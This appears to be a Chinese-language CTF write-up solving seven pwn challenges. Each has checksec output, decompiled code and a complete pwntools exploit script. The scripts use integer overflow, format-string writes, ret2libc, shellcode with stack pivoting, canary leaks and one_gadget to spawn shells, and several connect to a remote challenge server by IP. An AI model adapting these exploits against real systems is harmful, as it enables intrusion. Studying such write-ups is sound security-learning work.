flow

整数溢出

check

1
2
3
4
5
6
7
8
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

有system和/bin/sh,有gets在exit函数中但需要栈溢出控制执行流

漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
char *test()
{
char buf[824]; // [esp+0h] [ebp-338h] BYREF

printf("Enter shell:");
read(0, buf, 0x300u);
return xxx(buf);
}


char *__cdecl xxx(char *s)
{
char dest[20]; // [esp+7h] [ebp-21h] BYREF
unsigned __int8 n9; // [esp+1Bh] [ebp-Dh]
int v4; // [esp+1Ch] [ebp-Ch]

printf("hello hacker!");
n9 = strlen(s);
if ( n9 <= 1u || n9 > 9u )
{
printf("no");
}
else
{
printf("good!");
return strcpy(dest, s);
}
return (char *)v4;
}

buf处不能栈溢出但是xxx函数中n9为8位无符号整型,存储范围为0-255,可以构造整数溢出绕过第一步对n9大小的检测从而利用strcpy进行栈溢出,控制执行流到exit函数上,正常打ret2text即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context(os='linux',arch='i386',log_level='debug')
io=remote('1.95.36.136',2055)
elf = ELF('./pwn')
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io = process('./pwn')
#gdb.attach(io)
#sleep(3)
bin_sh = 0x0804893d
system = elf.sym['system']
exit = 0x0804872C

io.sendlineafter(b'your name:',b'a')
io.sendlineafter(b'you going?',str(3))

payload = b'a'*(0x21+4)+p32(exit)
payload = payload.ljust(258,b'a')

io.sendafter(b'Enter shell:',payload)
io.recvuntil(b'NICE!')


payload = b'a'*(0x108+4) + p32(system) + p32(0) + p32(bin_sh)

io.sendline(payload)

io.interactive()

format

格式化字符任意写

check

1
2
3
4
5
6
7
8
桌面$ checksec pwn 
[*] '/home/pwn/桌面/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

有system,存在格式化字符串漏洞如果将n改为4则可执行gets函数进行栈溢出

补a是为了填满8个字节

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import*

context(arch = 'i386',os = 'linux',log_level = 'debug')
io=remote('1.95.36.136',2086)
#io=process('./pwn')
libc = ELF('./libc.so.6')
elf=ELF('./pwn')
#gdb.attach(io)
sleep(2)
n = 0x0804A06C
back = 0x08048781

io.recvuntil(b'yao shell?')
io.send(b'no\x00')

payload = b'%4c%6$na' + p32(n)

io.recvuntil(b'hello hacker!')
io.sendline(payload)

payload = b'a'*(0x18+4) + p32(elf.plt['puts']) + p32(back) + p32(elf.got['puts'])

io.recvuntil(b'666!')
io.sendline(payload)


libc_base = u32(io.recvuntil(b'\xf7')[-4:]) - libc.sym['puts']
print(hex(libc_base))


system = 0x080484A0
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a'*(0x18+4) + p32(system) + p32(0) + p32(bin_sh)

io.recvuntil(b'666!')
io.sendline(payload)

io.interactive()

bllbl_shellcode4

check

1
2
3
4
5
6
7
8
9
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled

分析可知第一个函数调用了mmap将bss段改为了可读可写可执行,有一个特殊的gadget

1
2
sub rsp, 15h
jmp rsp

可以将rsp减15再jmp

第二个函数read字节数较少发现其rsi=rbp-9故可根据控制rbp来控制rsi指向bss段栈迁移写入shellcode

1

第一次输入将rbp改为bss地址

此时rsi为rbp-9

1

最后的返回地址是rbp+8也就是0x4040c8我们的输入地址是0x4040b7再retsub rsp,15后rsp为0x4040d0

所以我sub rsp,15前要有0x11的数据

0xD0-0x15=0xbb所以前四个字节为nop,用13个字节完成execve('/bin/sh')的调用

1
2
3
4
5
mov al,0x3b  ;2 字节
mov edi,0x40203f ;5 字节
mov esi,ebx ;2 字节
mov edx,esi ;2 字节
syscall ;2 字节

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io=remote('1.95.36.136',2086)
io=process('./pwn')
libc = ELF('./libc.so.6')
elf=ELF('./pwn')
gdb.attach(io)
sleep(2)
bin_sh = 0x40203f
bss = 0x4040C0
read = 0x40132B
leave_ret = 0x40128b
jmp_rsp_0x15 = 0x40136A
payload = b'a'*(0x9) + p64(bss) + p64(read)

io.recvuntil(b'Summer Games')
io.send(payload)

shellcode = '''
mov al,0x3b
mov edi,0x40203f
mov esi,ebx
mov edx,esi
syscall
'''

payload = asm('nop;nop;nop;nop;')+asm(shellcode) + p64(jmp_rsp_0x15)

io.recvuntil(b'okok')
io.send(payload)
io.interactive()

forpwn

简单的溢出覆盖数据

check

1
2
3
4
5
6
7
8
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

程序自带system('bin/sh')达成一定条件后可执行

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // r8
__int64 v4; // r9
_QWORD Your_lucky_number_is_?[12]; // [rsp+0h] [rbp-70h] BYREF
int v7; // [rsp+60h] [rbp-10h] BYREF
_BYTE v8[12]; // [rsp+64h] [rbp-Ch] BYREF

*&v8[4] = __readfsqword(0x28u);
strcpy(Your_lucky_number_is_?, "Your lucky number is ?");
HIBYTE(Your_lucky_number_is_?[2]) = 0;
memset(&Your_lucky_number_is_?[3], 0, 0x48uLL);
v7 = 0;
init(&v7, argv, v8, 0LL, v3, v4, Your_lucky_number_is_?[0]);
printf("%s", Your_lucky_number_is_?);
puts("When do you do your pwn?");
__isoc99_scanf("%c", &Your_lucky_number_is_?[6] + 2);
if ( BYTE2(Your_lucky_number_is_?[6]) == '0' )
{
puts("!!!");
}
else
{
puts("Now, you can pwn!!!");
get(Your_lucky_number_is_?);
system("/bin/sh");
}
return 0;
}

Your_lucky_number_is_?是一个64位的变量

第一步检测如果输入的数据是’0’的话会直接puts三个!然后结束

我们要进入else分支所以随便输一个非’0’的数据

进入get函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall get(__int64 Your_lucky_number_is_?)
{
int result; // eax
int i; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 4; ++i )
{
gets(Your_lucky_number_is_?);
if ( *(10 * i + Your_lucky_number_is_?) != 48 )
{
puts("Sorry, try again.");
exit(0);
}
result = puts("You can do it!");
}
return result;
}

有个gets可以写入任意大小的数据

1

从图中可以看出输入点在0x90处,canary在0xf8处

会进行5次检测分别为0x9a,0xa4,0xae,0xb8处的数据是否为’0’因为还没有到canary处所以直接全覆盖为’0’就好了注意是字符0其对应字节为\x30

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io=remote('1.95.36.136',2150)
io=process('./pwn')
#libc = ELF('./libc.so.6')
elf=ELF('./pwn')
gdb.attach(io)
sleep(2)
io.recvuntil(b'When do you do your pwn?')
io.send(b'1')

payload = b'\x30'*(0x40)

io.recvuntil(b'Now, you can pwn!!!')
io.sendline(payload)

io.recvuntil(b'can do it!')
io.sendline(b'a')
io.recvuntil(b'can do it!')
io.sendline(b'a')
io.recvuntil(b'can do it!')
io.sendline(b'a')
io.recvuntil(b'can do it!')
io.sendline(b'a')
io.interactive()

go

简单的PIE教学题

check

1
2
3
4
5
6
7
8
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

开始会给win函数的地址据此可得到lelf基地址

接着vuln函数里有栈溢出,有后门函数,直接打ret2text即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('1.95.36.136',2109)
#io=process('./pwn')
#libc = ELF('./libc.so.6')
elf=ELF('./pwn')
#gdb.attach(io)
sleep(2)
io.recvuntil(b'csgo>>>')
elf_base = int(io.recv(14),16) - 0x960
print(hex(elf_base))

gift = 0x94D + elf_base
payload = b'a'*(0x38) + p64(gift)

io.recvuntil(b'Input: ')
io.sendline(payload)

io.interactive()

bllhl_pieee

1
2
3
4
5
6
7
8
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

保护全开有格式化字符串漏洞有栈溢出可以用格式化字符串漏洞泄露canary,elf基地址,有system函数但是没有/bin/sh不用泄露libc也可以

和xy的girlfirend很像

漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 input()
{
_BYTE v1[112]; // [rsp+0h] [rbp-270h] BYREF
char buf[504]; // [rsp+70h] [rbp-200h] BYREF
unsigned __int64 v3; // [rsp+268h] [rbp-8h]

v3 = __readfsqword(0x28u);
read(0, buf, 0x20uLL);
printf(buf);
gets(v1);
return __readfsqword(0x28u) ^ v3;
}

这题有个很抽象的点,没给libc然后我本地环境和远程不一样所用到的偏移字符也不一样,不知道还有没有别的办法泄露elf基址目前还没想到

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import*
#io = process('./pwn')
io = remote('1.95.36.136',2148)
context(arch="amd64",log_level="debug",os="linux")

io.recv()
io.sendline('no\x00')
#gdb.attach(io)
#pause()

io.sendline('%83$p-%97$p')
io.recvuntil('0x')
canary = int(io.recv(16),16)
io.recvuntil('-0x')
base = int(io.recv(12),16) - 0xc3d
print('canary>>>'+hex(canary))
print('base>>>'+hex(base))

system = base + 0x868
rdi_addr = base + 0xc53
gets = base + 0x8a0
buf_addr = base+0x202050

payload = b'a'*(0x270-0x8)+p64(canary)+ p64(0)+ p64(rdi_addr)+p64(buf_addr) +p64(gets)+p64(rdi_addr)+p64(buf_addr)+p64(system)
io.sendline(payload)
io.send(b'/bin/sh\x00')

io.interactive()

gadget

check

1
2
3
4
5
6
7
8
桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 (*v4)(void); // [rsp+8h] [rbp-28h] BYREF
_QWORD buf[4]; // [rsp+10h] [rbp-20h] BYREF

buf[3] = __readfsqword(0x28u);
(init)(argc, argv, envp);
puts(&s);
puts(&s_);
puts(&s__0);
puts(&s__1);
puts(&s__2);
puts(&s__3);
setbuf(stdout, 0LL);
printf("welcome to polar challenge");
puts("You need an address.");
__isoc99_scanf("%ld", &v4);
read(0, buf, 0x10uLL);
if ( buf[0] != 0x208LL )
return 0;
printf("the gift for you: 0x%016lx\n", *v4);
printf("Here is the address you want to go to.");
puts("you need to use");
__isoc99_scanf("%ld", &v4);
puts("polar");
puts(&s);
puts(&s_);
puts(&s__0);
puts(&s__1);
puts(&s__2);
puts(&s__3);
return v4();
}

分析可知v4是一个int64的变量,可在第一处__isoc99_scanf存入puts_got利用后续的printf输出泄露libc基地址,buf[0]要保证为0x208

该处的printf可以输出一个64位无符号整数的十六进制表示

关键gadget

1

第二处__isoc99_scanf存入v4的地址可在最后被调用且我们之前得到了libc基地址

给了libc发现有个可利用的one_gadget

1

刚好在调用前将rax清零了所以选择第一个one_gadget

这里有个需要注意的点因为是用__isoc99_scanf获取输入目标程序期望接收一个字符串形式的地址,用sendline传数据,sendline要保证传送的数据为字符串所以要用str()包裹

用p64包裹的话则会成为字节流,导致指针无法识别正确地址和覆盖返回地址时有区别

最后我们传one_gadget地址时也是一样的原因,要传入一个字符串形式的地址而不是字节流

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(arch="amd64",log_level="debug",os="linux")
io = process('./pwn')
#gdb.attach(io)
#sleep(2)
#io = remote('1.95.36.136',2079)
elf = ELF('./pwn')
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
puts_got = elf.got['puts']
io.recvuntil(b'You need an address.')
io.sendline(str(puts_got))
io.sendline(p64(520))
io.recvuntil(b'0x')
puts_addr = int(io.recv(16),16)
print(hex(puts_addr))
libc = ELF('./libc.so.2')
libc_base = puts_addr - libc.sym['puts']
print(hex(libc_base))

one = libc_base+one_gadget[0]

payload = str(one)
io.recvuntil(b'you need to use')
io.sendline(payload)

io.interactive()

ok到这里就浮现完所有栈的题了,这次忙着去打HN了但是今天一天就浮现完polar了效率还是拉满了。